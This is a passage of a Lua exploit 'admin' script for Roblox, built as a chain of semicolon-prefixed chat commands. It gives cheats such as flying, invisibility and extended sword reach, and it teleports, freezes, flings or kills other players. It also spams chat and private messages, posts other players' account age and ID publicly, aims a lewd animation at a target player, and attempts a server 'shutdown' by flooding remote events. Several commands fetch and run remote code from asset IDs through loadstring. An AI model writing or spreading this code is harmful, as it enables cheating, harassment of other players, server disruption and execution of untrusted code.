game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Loop Drop Disabled";
Text = "Type ;loopdtool to enable.";
})
end
if string.sub(msg, 1, 10) == (prefix.."invisible") then -- Credit to Timeless
Local = game:GetService('Players').LocalPlayer
Char = Local.Character
touched,tpdback = false, false
box = Instance.new('Part',workspace)
box.Anchored = true
box.CanCollide = true
box.Size = Vector3.new(10,1,10)
box.Position = Vector3.new(0,10000,0)
box.Touched:connect(function(part)
if (part.Parent.Name == Local.Name) then
if touched == false then
touched = true
function apply()
if script.Disabled ~= true then
no = Char.HumanoidRootPart:Clone()
wait(.25)
Char.HumanoidRootPart:Destroy()
no.Parent = Char
Char:MoveTo(loc)
touched = false
end end
if Char then
apply()
end
end
end
end)
repeat wait() until Char
loc = Char.HumanoidRootPart.Position
Char:MoveTo(box.Position + Vector3.new(0,.5,0))
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Invisibility enabled!";
Text = "Reset or use ;respawn to remove.";
})
end
if string.sub(msg, 1, 6) == (prefix.."view ") then
for i,v in pairs(GetPlayer(string.sub(msg, 7))) do
if game:GetService("Players")[v.Name].Character.Humanoid then
game:GetService("Workspace").CurrentCamera.CameraSubject =
game:GetService("Players")[v.Name].Character.Humanoid
else
game:GetService("Workspace").CurrentCamera.CameraSubject =
game:GetService("Players")[v.Name].Character.Head
end
end
end
if string.sub(msg, 1, 7) == (prefix.."unview") then
if lplayer.Character.Humanoid then
game:GetService("Workspace").CurrentCamera.CameraSubject =
lplayer.Character.Humanoid
else
game:GetService("Workspace").CurrentCamera.CameraSubject =
lplayer.Character.Head
end
end
if string.sub(msg, 1, 6) == (prefix.."goto ") then
for i,v in pairs(GetPlayer(string.sub(msg, 7))) do
lplayer.Character.HumanoidRootPart.CFrame = game:GetService("Players")
[v.Name].Character.HumanoidRootPart.CFrame
end
end
if string.sub(msg, 1, 4) == (prefix.."fly") then
repeat wait() until lplayer and lplayer.Character and
lplayer.Character:FindFirstChild('HumanoidRootPart') and
lplayer.Character:FindFirstChild('Humanoid')
repeat wait() until Mouse

local T = lplayer.Character.HumanoidRootPart
local CONTROL = {F = 0, B = 0, L = 0, R = 0}
local lCONTROL = {F = 0, B = 0, L = 0, R = 0}
local SPEED = speedget

local function fly()


flying = true
local BG = Instance.new('BodyGyro', T)
local BV = Instance.new('BodyVelocity', T)
BG.P = 9e4
BG.maxTorque = Vector3.new(9e9, 9e9, 9e9)
BG.cframe = T.CFrame
BV.velocity = Vector3.new(0, 0.1, 0)
BV.maxForce = Vector3.new(9e9, 9e9, 9e9)
spawn(function()
repeat wait()
lplayer.Character.Humanoid.PlatformStand = true
if CONTROL.L + CONTROL.R ~= 0 or CONTROL.F + CONTROL.B ~= 0 then
SPEED = 50
elseif not (CONTROL.L + CONTROL.R ~= 0 or CONTROL.F + CONTROL.B ~= 0) and
SPEED ~= 0 then
SPEED = 0
end
if (CONTROL.L + CONTROL.R) ~= 0 or (CONTROL.F + CONTROL.B) ~= 0 then
BV.velocity = ((workspace.CurrentCamera.CoordinateFrame.lookVector *
(CONTROL.F + CONTROL.B)) + ((workspace.CurrentCamera.CoordinateFrame *
CFrame.new(CONTROL.L + CONTROL.R, (CONTROL.F + CONTROL.B) * 0.2, 0).p) -
workspace.CurrentCamera.CoordinateFrame.p)) * SPEED
lCONTROL = {F = CONTROL.F, B = CONTROL.B, L = CONTROL.L, R = CONTROL.R}
elseif (CONTROL.L + CONTROL.R) == 0 and (CONTROL.F + CONTROL.B) == 0 and
SPEED ~= 0 then
BV.velocity = ((workspace.CurrentCamera.CoordinateFrame.lookVector *
(lCONTROL.F + lCONTROL.B)) + ((workspace.CurrentCamera.CoordinateFrame *
CFrame.new(lCONTROL.L + lCONTROL.R, (lCONTROL.F + lCONTROL.B) * 0.2, 0).p) -
workspace.CurrentCamera.CoordinateFrame.p)) * SPEED
else
BV.velocity = Vector3.new(0, 0.1, 0)
end
BG.cframe = workspace.CurrentCamera.CoordinateFrame
until not flying
CONTROL = {F = 0, B = 0, L = 0, R = 0}
lCONTROL = {F = 0, B = 0, L = 0, R = 0}
SPEED = 0
BG:destroy()
BV:destroy()
lplayer.Character.Humanoid.PlatformStand = false
end)
end
Mouse.KeyDown:connect(function(KEY)
if KEY:lower() == 'w' then
CONTROL.F = speedfly
elseif KEY:lower() == 's' then
CONTROL.B = -speedfly
elseif KEY:lower() == 'a' then
CONTROL.L = -speedfly
elseif KEY:lower() == 'd' then
CONTROL.R = speedfly
end
end)
Mouse.KeyUp:connect(function(KEY)
if KEY:lower() == 'w' then
CONTROL.F = 0
elseif KEY:lower() == 's' then
CONTROL.B = 0
elseif KEY:lower() == 'a' then
CONTROL.L = 0
elseif KEY:lower() == 'd' then
CONTROL.R = 0
end
end)
fly()
end
if string.sub(msg, 1, 6) == (prefix.."unfly") then
flying = false
lplayer.Character.Humanoid.PlatformStand = false
end
if string.sub(msg, 1, 6) == (prefix.."chat ") then

game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:
FireServer((string.sub(msg, 7)), "All")
end
if string.sub(msg, 1, 6) == (prefix.."spam ") then
spamtext = (string.sub(msg, 7))
spamming = true
end
if string.sub(msg, 1, 7) == (prefix.."unspam") then
spamming = false
end
if string.sub(msg, 1, 10) == (prefix.."spamwait ") then
spamdelay = (string.sub(msg, 11))
end
if string.sub(msg, 1, 8) == (prefix.."pmspam ") then
for i,v in pairs(GetPlayer(string.sub(msg, 9))) do
pmspammed = v.Name
spammingpm = true
end
end
if string.sub(msg, 1, 9) == (prefix.."unpmspam") then
spammingpm = false
end
if string.sub(msg, 1, 9) == (prefix.."cfreeze ") then
for i,v in pairs(GetPlayer(string.sub(msg, 10))) do
v.Character["Left Leg"].Anchored = true
v.Character["Left Arm"].Anchored = true
v.Character["Right Leg"].Anchored = true
v.Character["Right Arm"].Anchored = true
v.Character.Torso.Anchored = true
v.Character.Head.Anchored = true
end
end
if string.sub(msg, 1, 11) == (prefix.."uncfreeze ") then
for i,v in pairs(GetPlayer(string.sub(msg, 12))) do
v.Character["Left Leg"].Anchored = false
v.Character["Left Arm"].Anchored = false
v.Character["Right Leg"].Anchored = false
v.Character["Right Arm"].Anchored = false
v.Character.Torso.Anchored = false
v.Character.Head.Anchored = false
end
end
if string.sub(msg, 1, 9) == (prefix.."unlockws") then
local a = game:GetService("Workspace"):getChildren()
for i = 1, #a do
if a[i].className == "Part" then
a[i].Locked = false
elseif a[i].className == "Model" then
local r = a[i]:getChildren()
for i = 1, #r do
if r[i].className == "Part" then
r[i].Locked = false
end
end
end
end
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Success!";
Text = "Workspace unlocked. Use ;lockws to lock.";
})
end
if string.sub(msg, 1, 7) == (prefix.."lockws") then
local a = game:GetService("Workspace"):getChildren()
for i = 1, #a do
if a[i].className == "Part" then
a[i].Locked = true
elseif a[i].className == "Model" then
local r = a[i]:getChildren()
for i = 1, #r do
if r[i].className == "Part" then
r[i].Locked = true
end
end
end
end
end
if string.sub(msg, 1, 7) == (prefix.."btools") then
local Clone_T = Instance.new("HopperBin",lplayer.Backpack)
Clone_T.BinType = "Clone"
local Destruct = Instance.new("HopperBin",lplayer.Backpack)
Destruct.BinType = "Hammer"
local Hold_T = Instance.new("HopperBin",lplayer.Backpack)
Hold_T.BinType = "Grab"
end
if string.sub(msg, 1, 7) == (prefix.."pstand") then
lplayer.Character.Humanoid.PlatformStand = true
end
if string.sub(msg, 1, 9) == (prefix.."unpstand") then
lplayer.Character.Humanoid.PlatformStand = false
end
if string.sub(msg, 1, 10) == (prefix.."blockhead") then
lplayer.Character.Head.Mesh:Destroy()
end
if string.sub(msg, 1, 4) == (prefix.."sit") then
lplayer.Character.Humanoid.Sit = true
end
if string.sub(msg, 1, 10) == (prefix.."bringobj ") then
local function bringobjw()
for i,obj in ipairs(game:GetService("Workspace"):GetDescendants()) do
if obj.Name == (string.sub(msg, 11)) then
obj.CFrame = lplayer.Character.HumanoidRootPart.CFrame
obj.CanCollide = false
obj.Transparency = 0.7
wait()
obj.CFrame = lplayer.Character["Left Leg"].CFrame
wait()
obj.CFrame = lplayer.Character["Right Leg"].CFrame
wait()
obj.CFrame = lplayer.Character["Head"].CFrame
end
end
end
while wait() do
bringobjw()
end
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "BringObj";
Text = "BringObj enabled.";
})
end
if string.sub(msg, 1, 7) == (prefix.."wsvis ") then
vis = (string.sub(msg, 8))
local a = game:GetService("Workspace"):GetDescendants()
for i = 1, #a do
if a[i].className == "Part" then
a[i].Transparency = vis
elseif a[i].className == "Model" then
local r = a[i]:getChildren()
for i = 1, #r do
if r[i].className == "Part" then
r[i].Transparency = vis
end
end
end
end
end
if string.sub(msg, 1, 11) == (prefix.."hypertotal") then
loadstring(game:GetObjects("rbxassetid://1255063809")[1].Source)()
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Success!";
Text = "HyperTotal GUI Loaded!";
})
end
if string.sub(msg, 1, 5) == (prefix.."cmds") then
CMDSFRAME.Visible = true
end
if string.sub(msg, 1, 10) == (prefix.."rmeshhats") then
for i,v in pairs(lplayer.Character:GetChildren()) do
if (v:IsA("Accessory")) or (v:IsA("Hat")) then
v.Handle.Mesh:Destroy()
end
end
end
if string.sub(msg, 1, 10) == (prefix.."blockhats") then
for i,v in pairs(lplayer.Character:GetChildren()) do
if (v:IsA("Accessory")) or (v:IsA("Hat")) then
v.Handle.Mesh:Destroy()
end
end
end
if string.sub(msg, 1, 10) == (prefix.."rmeshtool") then
for i,v in pairs(lplayer.Character:GetChildren()) do
if (v:IsA("Tool")) then
v.Handle.Mesh:Destroy()
end
end
end
if string.sub(msg, 1, 10) == (prefix.."blocktool") then
for i,v in pairs(lplayer.Character:GetChildren()) do
if (v:IsA("Tool")) then
v.Handle.Mesh:Destroy()
end
end
end
if string.sub(msg, 1, 8) == (prefix.."spinner") then
local p = Instance.new("RocketPropulsion")
p.Parent = lplayer.Character.HumanoidRootPart
p.Name = "Spinner"
p.Target = lplayer.Character["Left Arm"]
p:Fire()
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Spinner enabled";
Text = "Type ;nospinner to disable.";
})
end
if string.sub(msg, 1, 10) == (prefix.."nospinner") then
lplayer.Character.HumanoidRootPart.Spinner:Destroy()
end
if string.sub(msg, 1, 7) == (prefix.."reachd") then
for i,v in
pairs(game:GetService'Players'.LocalPlayer.Character:GetChildren())do
if v:isA("Tool") then
local a = Instance.new("SelectionBox",v.Handle)
a.Adornee = v.Handle
v.Handle.Size = Vector3.new(0.5,0.5,60)
v.GripPos = Vector3.new(0,0,0)
lplayer.Character.Humanoid:UnequipTools()
end
end
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Reach applied!";
Text = "Applied to equipped sword. Use ;noreach to disable.";
})
end
if string.sub(msg, 1, 7) == (prefix.."reach ") then
for i,v in
pairs(game:GetService'Players'.LocalPlayer.Character:GetChildren())do
if v:isA("Tool") then
handleSize = v.Handle.Size
wait()
local a = Instance.new("SelectionBox",v.Handle)
a.Name = "a"
a.Adornee = v.Handle
v.Handle.Size = Vector3.new(0.5,0.5,(string.sub(msg, 8)))
v.GripPos = Vector3.new(0,0,0)
lplayer.Character.Humanoid:UnequipTools()
end
end
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Reach applied!";
Text = "Applied to equipped sword. Use ;noreach to disable.";
})
end
if string.sub(msg, 1, 8) == (prefix.."noreach") then
for i,v in
pairs(game:GetService'Players'.LocalPlayer.Character:GetChildren())do
if v:isA("Tool") then
v.Handle.a:Destroy()
v.Handle.Size = handleSize
end
end
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Reach removed!";
Text = "Removed reach from equipped sword.";
})
end
if string.sub(msg, 1, 7) == (prefix.."rkill ") then
for i,v in pairs(GetPlayer(string.sub(msg, 8)))do
lplayer.Character.Humanoid.Name = 1
local l = lplayer.Character["1"]:Clone()
l.Parent = lplayer.Character
l.Name = "Humanoid"
wait(0.1)
lplayer.Character["1"]:Destroy()
game:GetService("Workspace").CurrentCamera.CameraSubject =
lplayer.Character
lplayer.Character.Animate.Disabled = true
wait(0.1)
lplayer.Character.Animate.Disabled = false
lplayer.Character.Humanoid.DisplayDistanceType = "None"
for i,v in
pairs(game:GetService'Players'.LocalPlayer.Backpack:GetChildren())do
lplayer.Character.Humanoid:EquipTool(v)
end
wait(0.1)
lplayer.Character.HumanoidRootPart.CFrame = game:GetService("Players")
[v.Name].Character.HumanoidRootPart.CFrame
wait(0.2)
lplayer.Character.HumanoidRootPart.CFrame = game:GetService("Players")
[v.Name].Character.HumanoidRootPart.CFrame
wait(0.5)
lplayer.Character.HumanoidRootPart.CFrame = CFrame.new(Vector3.new(-
100000,10,-100000))
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Tools needed!";
Text = "You need a tool in your backpack for this command!";
})
end
end
if string.sub(msg, 1, 7) == (prefix.."tp me ") then
for i,v in pairs(GetPlayer(string.sub(msg, 8))) do
lplayer.Character.HumanoidRootPart.CFrame = game:GetService("Players")
[v.Name].Character.HumanoidRootPart.CFrame
end
end
if string.sub(msg, 1, 8) == (prefix.."cbring ") then
if (string.sub(msg, 9)) == "all" or (string.sub(msg, 9)) == "All" or
(string.sub(msg, 9)) == "ALL" then
cbringall = true
else
for i,v in pairs(GetPlayer(string.sub(msg, 9))) do
brplr = v.Name
end
end
cbring = true
end
if string.sub(msg, 1, 9) == (prefix.."uncbring") then
cbring = false
cbringall = false
end
if string.sub(msg, 1, 6) == (prefix.."swap ") then
for i,v in pairs(GetPlayer(string.sub(msg, 7))) do
local NOWPLR = game:GetService("Players")
[v.Name].Character.HumanoidRootPart.CFrame
local NOW = lplayer.Character.HumanoidRootPart.CFrame
lplayer.Character.Humanoid.Name = 1
local l = lplayer.Character["1"]:Clone()
l.Parent = lplayer.Character
l.Name = "Humanoid"
wait(0.1)
lplayer.Character["1"]:Destroy()
game:GetService("Workspace").CurrentCamera.CameraSubject =
lplayer.Character
lplayer.Character.Animate.Disabled = true
wait(0.1)
lplayer.Character.Animate.Disabled = false
lplayer.Character.Humanoid.DisplayDistanceType = "None"
for i,v in
pairs(game:GetService'Players'.LocalPlayer.Backpack:GetChildren())do
lplayer.Character.Humanoid:EquipTool(v)
end
local function tp(player,player2)
local char1,char2=player.Character,player2.Character
if char1 and char2 then
char1:MoveTo(char2.Head.Position)
end
end
wait(0.1)
lplayer.Character.HumanoidRootPart.CFrame = game:GetService("Players")
[v.Name].Character.HumanoidRootPart.CFrame
wait(0.2)
lplayer.Character.HumanoidRootPart.CFrame = game:GetService("Players")
[v.Name].Character.HumanoidRootPart.CFrame
wait(0.5)
lplayer.Character.HumanoidRootPart.CFrame = NOW
wait(0.6)
tp(lplayer, game:GetService("Players")[v.Name])
wait(0.4)
lplayer.Character.HumanoidRootPart.CFrame = NOWPLR
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Tools needed!";
Text = "You need a tool in your backpack for this command!";
})
end
end
if string.sub(msg, 1, 8) == (prefix.."glitch ") then
for i,v in pairs(GetPlayer(string.sub(msg, 9))) do
lplayer.Character.Humanoid.Name = 1
local l = lplayer.Character["1"]:Clone()
l.Parent = lplayer.Character
l.Name = "Humanoid"
wait(0.1)
lplayer.Character["1"]:Destroy()
game:GetService("Workspace").CurrentCamera.CameraSubject =
lplayer.Character
lplayer.Character.Animate.Disabled = true
wait(0.1)
lplayer.Character.Animate.Disabled = false
lplayer.Character.Humanoid.DisplayDistanceType = "None"
for i,v in
pairs(game:GetService'Players'.LocalPlayer.Backpack:GetChildren())do
lplayer.Character.Humanoid:EquipTool(v)
end
lplayer.Character.HumanoidRootPart.CFrame = game:GetService("Players")
[v.Name].Character["Left Arm"].CFrame
wait(0.3)
lplayer.Character.HumanoidRootPart.CFrame = game:GetService("Players")
[v.Name].Character["Left Arm"].CFrame
wait(0.4)
b = Instance.new("BodyForce")
b.Parent = lplayer.Character.HumanoidRootPart
b.Name = "Glitch"
b.Force = Vector3.new(100000000,5000,0)
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Tools needed!";
Text = "You need a tool in your backpack for this command!";
})
end
end
if string.sub(msg, 1, 9) == (prefix.."unglitch") then
lplayer.Character.HumanoidRootPart.Glitch:Destroy()
lplayer.Character.HumanoidRootPart.CFrame = CFrame.new(10000,0,10000)
b = Instance.new("BodyForce")
b.Parent = lplayer.Character.HumanoidRootPart
b.Name = "unGlitch"
b.Force = Vector3.new(0,-5000000,0)
wait(2)
lplayer.Character.HumanoidRootPart.unGlitch:Destroy()
end
if string.sub(msg, 1, 9) == (prefix.."grespawn") then
lplayer.Character.Humanoid.Health = 0
wait(1)
lplayer.Character.Head.CFrame = CFrame.new(1000000,0,1000000)
lplayer.Character.Torso.CFrame = CFrame.new(1000000,0,1000000)
end
if string.sub(msg, 1, 9) == (prefix.."explorer") then
loadstring(game:GetObjects("rbxassetid://492005721")[1].Source)()
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Success!";
Text = "DEX Explorer has loaded.";
})
end
if string.sub(msg, 1, 6) == (prefix.."anim ") then
local Anim = Instance.new("Animation")
Anim.AnimationId = "rbxassetid://"..(string.sub(msg, 7))
local track = lplayer.Character.Humanoid:LoadAnimation(Anim)
track:Play(.1, 1, 1)
end
if string.sub(msg, 1, 8) == (prefix.."animgui") then
loadstring(game:GetObjects("rbxassetid://1202558084")[1].Source)()
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Success!";
Text = "Energize Animations GUI has loaded.";
})
end
if string.sub(msg, 1, 8) == (prefix.."savepos") then
saved = lplayer.Character.HumanoidRootPart.CFrame
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Position Saved";
Text = "Use ;loadpos to return to saved position.";
})
end
if string.sub(msg, 1, 8) == (prefix.."loadpos") then
lplayer.Character.HumanoidRootPart.CFrame = saved
end
if string.sub(msg, 1, 6) == (prefix.."bang ") then
for i,v in pairs(GetPlayer(string.sub(msg, 7))) do
local Anim2 = Instance.new("Animation")
Anim2.AnimationId = "rbxassetid://148840371"
local track2 = lplayer.Character.Humanoid:LoadAnimation(Anim2)
track2:Play(.1, 1, 1)
bplrr = v.Name
banpl = true
end
end
if string.sub(msg, 1, 7) == (prefix.."unbang") then
banpl = false
end
if string.sub(msg, 1, 10) == (prefix.."bringmod ") then
local function bringmodw()
for i,obj in ipairs(game:GetService("Workspace"):GetDescendants()) do
if obj.Name == (string.sub(msg, 11)) then
for i,ch in pairs(obj:GetDescendants()) do
if (ch:IsA("BasePart")) then
ch.CFrame = lplayer.Character.HumanoidRootPart.CFrame
ch.CanCollide = false
ch.Transparency = 0.7
wait()
ch.CFrame = lplayer.Character["Left Leg"].CFrame
wait()
ch.CFrame = lplayer.Character["Right Leg"].CFrame
wait()
ch.CFrame = lplayer.Character["Head"].CFrame
end
end
end
end
end
while wait() do
bringmodw()
end
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "BringMod";
Text = "BringMod enabled.";
})
end
if string.sub(msg, 1, 8) == (prefix.."respawn") then
local mod = Instance.new('Model', workspace) mod.Name = 're '..lplayer.Name
local hum = Instance.new('Humanoid', mod)
local ins = Instance.new('Part', mod) ins.Name = 'Torso' ins.CanCollide =
false ins.Transparency = 1
lplayer.Character = mod
end
if string.sub(msg, 1, 9) == (prefix.."shutdown") then
game:GetService'RunService'.Stepped:Connect(function()
pcall(function()
for i,v in pairs(game:GetService'Players':GetPlayers()) do
if v.Character ~= nil and v.Character:FindFirstChild'Head' then
for _,x in pairs(v.Character.Head:GetChildren()) do
if x:IsA'Sound' then x.Playing = true
x.CharacterSoundEvent:FireServer(true, true) end
end
end
end
end)
end)
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Attempting Shutdown";
Text = "Shutdown Attempt has begun.";
})
end
if string.sub(msg, 1, 8) == (prefix.."delobj ") then
objtodel = (string.sub(msg, 9))
for i,v in pairs(game:GetService("Workspace"):GetDescendants()) do
if v.Name == objtodel then
v:Destroy()
end
end
end
if string.sub(msg, 1, 8) == (prefix.."getplrs") then
for i,v in pairs(game:GetService("Players"):GetPlayers())do
print(v)
end
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Printed";
Text = "Players have been printed to console. (F9)";
})
end
if string.sub(msg, 1, 9) == (prefix.."deldecal") then
for i,v in pairs(game:GetService("Workspace"):GetDescendants())do
if (v:IsA("Decal")) then
v:Destroy()
end
end
end
if string.sub(msg, 1, 11) == (prefix.."opfinality") then
loadstring(game:GetObjects("rbxassetid://1294358929")[1].Source)()
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Success!";
Text = "OpFinality GUI has loaded.";
})
end
if string.sub(msg, 1, 8) == (prefix.."remotes") then
remotes = true
added = true
game.DescendantAdded:connect(function(rmt)
if added == true then
if remotes == true then
if rmt:IsA("RemoteEvent") then
print("A RemoteEvent was added!")
print(" game." .. rmt:GetFullName() .. " | RemoteEvent")
print(" game." .. rmt:GetFullName() .. " | RemoteEvent", 247, 0, 0, true)
end end end
end)
game.DescendantAdded:connect(function(rmtfnctn)
if added == true then
if remotes == true then
if rmtfnctn:IsA("RemoteFunction") then
warn("A RemoteFunction was added!")
warn(" game." .. rmtfnctn:GetFullName() .. " | RemoteFunction")
print(" game." .. rmtfnctn:GetFullName() .. " | RemoteFunction", 5, 102,
198, true)
end end end
end)

game.DescendantAdded:connect(function(bndfnctn)
if added == true then
if binds == true then
if bndfnctn:IsA("BindableFunction") then
print("A BindableFunction was added!")
print(" game." .. bndfnctn:GetFullName() .. " | BindableFunction")
print(" game." .. bndfnctn:GetFullName() .. " | BindableFunction", 239,
247, 4, true)
end end end
end)

game.DescendantAdded:connect(function(bnd)
if added == true then
if binds == true then
if bnd:IsA("BindableEvent") then
warn("A BindableEvent was added!")
warn(" game." .. bnd:GetFullName() .. " | BindableEvent")
print(" game." .. bnd:GetFullName() .. " | BindableEvent", 13, 193, 22,
true)
end end end
end)

if binds == true then


for i,v in pairs(game:GetDescendants()) do
if v:IsA("BindableFunction") then
print(" game." .. v:GetFullName() .. " | BindableFunction")
print(" game." .. v:GetFullName() .. " | BindableFunction", 239, 247, 4,
true)
end end
for i,v in pairs(game:GetDescendants()) do
if v:IsA("BindableEvent") then
warn(" game." .. v:GetFullName() .. " | BindableEvent")
print(" game." .. v:GetFullName() .. " | BindableEvent", 13, 193, 22, true)
end end
else
print("Off")
end
if remotes == true then
for i,v in pairs(game:GetDescendants()) do
if v:IsA("RemoteFunction") then
warn(" game." .. v:GetFullName() .. " | RemoteFunction")
print(" game." .. v:GetFullName() .. " | RemoteFunction", 5, 102, 198,
true)
end end
wait()
for i,v in pairs(game:GetDescendants()) do
if v:IsA("RemoteEvent") then
print(" game." .. v:GetFullName() .. " | RemoteEvent")
print(" game." .. v:GetFullName() .. " | RemoteEvent", 247, 0, 0, true)
end end
else
print("Off")
end
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Printing Remotes";
Text = "Type ;noremotes to disable.";
})
end
if string.sub(msg, 1, 10) == (prefix.."noremotes") then
remotes = false
added = false
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Printing Remotes Disabled";
Text = "Type ;remotes to enable.";
})
end
if string.sub(msg, 1, 10) == (prefix.."tpdefault") then
spin = false
followed = false
traill = false
noclip = false
annoying = false
hwalk = false
cbringing = false
end
if string.sub(msg, 1, 8) == (prefix.."stopsit") then
stopsitting = true
end
if string.sub(msg, 1, 6) == (prefix.."gosit") then
stopsitting = false
end
if string.sub(msg, 1, 8) == (prefix.."version") then
print(adminversion)
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Version";
Text = adminversion;
})
end
if string.sub(msg, 1, 8) == (prefix.."clicktp") then
clickgoto = true
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Click TP";
Text = "Press E to teleport to mouse position, ;noclicktp to stop";
})
end
if string.sub(msg, 1, 9) == (prefix.."clickdel") then
clickdel = true
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Click Delete";
Text = "Press E to delete part at mouse, ;noclickdel to stop";
})
end
if string.sub(msg, 1, 11) == (prefix.."noclickdel") then
clickdel = false
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Click Delete";
Text = "Click delete has been disabled.";
})
end
if string.sub(msg, 1, 10) == (prefix.."noclicktp") then
clickgoto = false
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Click TP";
Text = "Click TP has been disabled.";
})
end
if string.sub(msg, 1, 8) == (prefix.."toolson") then
gettingtools = true
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Tools Enabled";
Text = "Automatically colleting tools dropped.";
})
end
if string.sub(msg, 1, 9) == (prefix.."toolsoff") then
gettingtools = false
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Tools Disabled";
Text = "Click TP has been disabled.";
})
end
if string.sub(msg, 1, 10) == (prefix.."delcmdbar") then
ScreenGui:Destroy()
end
if string.sub(msg, 1, 6) == (prefix.."reset") then
lplayer.Character.Head:Destroy()
end
if string.sub(msg, 1, 7) == (prefix.."state ") then
statechosen = string.sub(msg, 8)
changingstate = true
end
if string.sub(msg, 1, 9) == (prefix.."gravity ") then
game:GetService("Workspace").Gravity = string.sub(msg, 10)
end
if string.sub(msg, 1, 10) == (prefix.."looprhats") then
removingmeshhats = true
end
if string.sub(msg, 1, 12) == (prefix.."unlooprhats") then
removingmeshhats = false
end
if string.sub(msg, 1, 10) == (prefix.."looprtool") then
removingmeshtool = true
end
if string.sub(msg, 1, 12) == (prefix.."unlooprtool") then
removingmeshtool = false
end
if string.sub(msg, 1, 10) == (prefix.."givetool ") then
for i,v in
pairs(game:GetService("Players").LocalPlayer.Character:GetDescendants()) do
if v:IsA("Tool") then
for i,player in pairs(GetPlayer(string.sub(msg, 11))) do
v.Parent = player.Character
end
end
end
end
if string.sub(msg, 1, 14) == (prefix.."givealltools ") then
for i,v in
pairs(game:GetService("Players").LocalPlayer.Backpack:GetDescendants()) do
if v:IsA("Tool") then
v.Parent = lplayer.Character
wait()
for i,player in pairs(GetPlayer(string.sub(msg, 15))) do
v.Parent = player.Character
end
end
end
end
if string.sub(msg, 1, 5) == (prefix.."age ") then
for i,player in pairs(GetPlayer(string.sub(msg, 6))) do

game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:
FireServer(player.Name.." Account Age: "..player.AccountAge.." days!", "All")
end
end
if string.sub(msg, 1, 4) == (prefix.."id ") then
for i,player in pairs(GetPlayer(string.sub(msg, 5))) do

game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:
FireServer(player.Name.." Account ID: "..player.UserId, "All")
end
end
if string.sub(msg, 1, 6) == (prefix..".age ") then
for i,player in pairs(GetPlayer(string.sub(msg, 7))) do
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = player.AccountAge.." Days";
Text = "Account age of "..player.Name;
})
end
end
if string.sub(msg, 1, 5) == (prefix..".id ") then
for i,player in pairs(GetPlayer(string.sub(msg, 6))) do
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = player.UserId.." ID";
Text = "Account ID of "..player.Name;
})
end
end
if string.sub(msg, 1, 7) == (prefix.."gameid") then
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Game ID";
Text = "Game ID: ".. game.GameId;
})
end
if string.sub(msg, 1, 4) == (prefix.."pgs") then
local pgscheck = game:GetService("Workspace"):PGSIsEnabled()
if pgscheck == true then
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "PGSPhysicsSolverEnabled";
Text = "PGS is Enabled!";
})
else
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "PGSPhysicsSolverEnabled";
Text = "PGS is Disabled!";
})
end
end
if string.sub(msg, 1, 12) == (prefix.."removeinvis") then
for i,v in pairs(game:GetService("Workspace"):GetDescendants()) do
if v:IsA("Part") then
if v.Transparency == 1 then
if v.Name ~= "HumanoidRootPart" then
v:Destroy()
end
end
end
end
end
if string.sub(msg, 1, 10) == (prefix.."removefog") then
game:GetService("Lighting").FogStart = 0
game:GetService("Lighting").FogEnd = 9999999999999
end
if string.sub(msg, 1, 8) == (prefix.."disable") then
lplayer.Character.Humanoid.Parent = lplayer
end
if string.sub(msg, 1, 7) == (prefix.."enable") then
lplayer.Humanoid.Parent = lplayer.Character
end
if string.sub(msg, 1, 8) == (prefix.."prefix ") then
prefix = (string.sub(msg, 9, 9))
wait(0.1)
change()
wait(0.1)
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Prefix changed!";
Text = "Prefix is now "..prefix..". Use ;resetprefix to reset to ;";
})
end
if string.sub(msg, 1, 12) == (";resetprefix") then
prefix = ";"
wait(0.1)
change()
wait(0.1)
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Prefix changed!";
Text = "Prefix is now "..prefix..". Make sure it's one key!";
})
end
if string.sub(msg, 1, 10) == (prefix.."flyspeed ") then
speedfly = string.sub(msg, 11)
wait()
change()
end
if string.sub(msg, 1, 8) == (prefix.."carpet ") then
for i,v in pairs(GetPlayer(string.sub(msg, 9))) do
local Anim3 = Instance.new("Animation")
Anim3.AnimationId = "rbxassetid://282574440"
local track3 = lplayer.Character.Humanoid:LoadAnimation(Anim3)
track3:Play(.1, 1, 1)
bplrr = v.Name
banpl = true
end
end
if string.sub(msg, 1, 9) == (prefix.."uncarpet") then
banpl = false
end
if string.sub(msg, 1, 7) == (prefix.."stare ") then
for i,v in pairs(GetPlayer(string.sub(msg, 8))) do
staring = true
stareplr = v
end
end
if string.sub(msg, 1, 8) == (prefix.."unstare") then
staring = false
end
if string.sub(msg, 1, 8) == (prefix.."logchat") then
chatlogs = true
